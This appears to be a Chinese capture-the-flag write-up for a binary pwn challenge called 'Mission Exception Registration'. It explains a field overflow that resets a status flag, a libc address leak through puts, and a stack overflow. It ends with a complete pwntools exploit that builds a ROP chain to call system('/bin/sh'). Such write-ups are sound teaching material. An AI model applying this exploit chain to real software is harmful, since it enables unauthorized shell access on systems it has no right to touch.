Mission Exception Registration

第十六届极客大挑战missionexceptionregistration图片1.png

mian函数:

第十六届极客大挑战missionexceptionregistration图片2.png

userint函数:

第十六届极客大挑战missionexceptionregistration图片3.png

menu函数:

第十六届极客大挑战missionexceptionregistration图片4.png

readint函数:

第十六届极客大挑战missionexceptionregistration图片5.png

view函数:

第十六届极客大挑战missionexceptionregistration图片7.png

register函数:

第十六届极客大挑战missionexceptionregistration图片8.png

submit函数:

第十六届极客大挑战missionexceptionregistration图片9.png

input函数:

第十六届极客大挑战missionexceptionregistration图片10.png

我们看代码,没有看到system函数和/bin/sh,input函数里有明显的栈溢出漏洞(no canary),那我们的目标就是泄露libc基址(如果libc中没有我们要的gadget我们可能会考虑泄露PIE基址,不过这道题不需要)

那么我们首先来看userint函数,*((_DWORD )ptr + 12) = -1这个是指针语法,_DWORD是32位,这个的意思就是说把ptr+48(12 4)的地方设置成整数-1,_QWORD 是64位,*((_QWORD )ptr + 7) = 0代表把ptr+56(78)的地方设置成一个空指针,memset((char *)ptr + 16, 0, 0x20u)就是从ptr+16的地方开始清空32字节,也就是到了ptr+48,好,那我们看看userint初始化后的布局是什么样的

ptr + 0: [16字节]

姓名 (已被清空)

ptr + 16: [32字节]

密码 (已被清空)

ptr + 48: [4字节]

状态标志 (现在是-1)

ptr + 52: [4字节]

其他东西 (现在是0)

ptr + 56: [8字节] 

函数指针 (空指针)

然后我们看register函数,就是注册流程,你注册后状态标志变成2,函数指针变成put函数指针,但是注意,我们的密码区只有32字节,而这里可以输入40字节,可以覆盖后面的状态标志,这里是一个漏洞

我们再看view,如果我们状态标志是非0,就是普通模式,给我们ptr的地址,这个只能用来算二进制基址(因为ptr是程序定义的全局变量,储存在程序之中),而当状态状态为0时我们就能获得put函数地址(此时ptr+56经过register函数后变成了普通函数地址),我们就可以泄露libc基址

再看submit函数,这里我们要进入put函数必须状态标志不等于-1

我们看完了代码思路就很清晰了,我们首先进入register函数--->填充姓名和密码(32字节)然后覆盖状态标志为0(用p32覆盖四个字节),put函数地址被放入--->进入view函数,泄露put函数地址,计算所需地址--->进入submit函数,状态标志不等于-1,进入input函数利用栈溢出

EXP:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#io = remote('geek.ctfplus.cn',30766)
io = process('./pwn')
libc = ELF("./libc.so.6")


io.sendlineafter(b"Your choice >> ", b"1")
io.sendafter(b"Please enter your name:\n", b"A" * 16)
password_payload = b'A' * 32 + p32(0)
io.sendafter(b"Please enter your password:\n", password_payload)

io.sendlineafter(b"Your choice >> ", b"3")
io.sendafter(b"Please enter your password:\n", b'A' * 32) #这里有个验证密码的login函数,输入密码就行

io.recvuntil(b"WELCOME, ADMINISTRATOR.\n")
leaked_puts_addr = u64(io.recv(8))#u64相当于解包,把机器输出的字节转换为我们能看懂的数字,用于接收,p64相当于打包,是逆过程,用于发送

libc_base = leaked_puts_addr - libc.symbols['puts']
libc.address = libc_base
rop = ROP(libc)
POP_RDI = rop.find_gadget(['pop rdi', 'ret']).address
RET = rop.find_gadget(['ret']).address
BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']

io.sendlineafter(b"Your choice >> ", b"2")
payload = b'A' * 24  
payload += p64(RET)     
payload += p64(POP_RDI) 
payload += p64(BIN_SH)  
payload += p64(SYSTEM) 
io.sendafter(b"Please enter your feedback:\n", payload)

io.interactive()

题目链接:

CTF-Writeups/第十六届极客大挑战/Mission Exception Registration at main · ZenDuk17/CTF-Writeups


Mission Exception Registration
http://localhost:8080/archives/mission-exception-registration
作者
ZenDuk
发布于
2025年11月12日
许可协议